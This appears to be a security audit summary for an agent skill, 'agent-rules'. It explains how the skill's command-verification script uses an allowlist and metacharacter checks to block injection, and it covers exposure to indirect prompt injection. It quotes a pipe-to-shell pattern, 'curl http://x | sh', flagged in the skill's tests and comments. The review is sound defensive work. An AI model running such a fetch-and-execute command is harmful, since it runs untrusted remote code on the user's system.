The Agent Skills Directory

[COMMAND_EXECUTION]: The script verify-commands.sh is designed to check if documented build and test commands are still valid. It includes a 'smoke test' feature (enabled via the SMOKE_TEST=true environment variable) that attempts to execute commands extracted from AGENTS.md. This execution is secured by:
A strict allowlist of permitted base commands (e.g., npm, make, pytest, go, composer).
A robust character check that rejects any command containing shell metacharacters such as pipes (|), semicolons (;), background markers (&), or redirections (>, <), effectively preventing command chaining or injection.
Restricted argument checking for high-risk tools like git and docker to allow only informational subcommands (e.g., --version, ps).
[REMOTE_CODE_EXECUTION]: Automated scanners flagged a pattern curl http://x | sh. Manual audit of scripts/verify-commands.sh and scripts/tests/test-command-allowlist.sh reveals that this string only exists within code comments describing security bug fixes (specifically issue #104) and within regression test cases used to ensure that such malicious patterns are successfully detected and rejected by the skill's safety logic. The skill does not actually execute remote code.
[INDIRECT_PROMPT_INJECTION]: The skill acts as a parser for project-level files (package.json, Makefile, README.md). While these files represent an external data ingestion surface, the skill's operations are limited to text processing and controlled command verification as described above. It does not blindly interpret natural language instructions from these files as agent directives.

agent-rules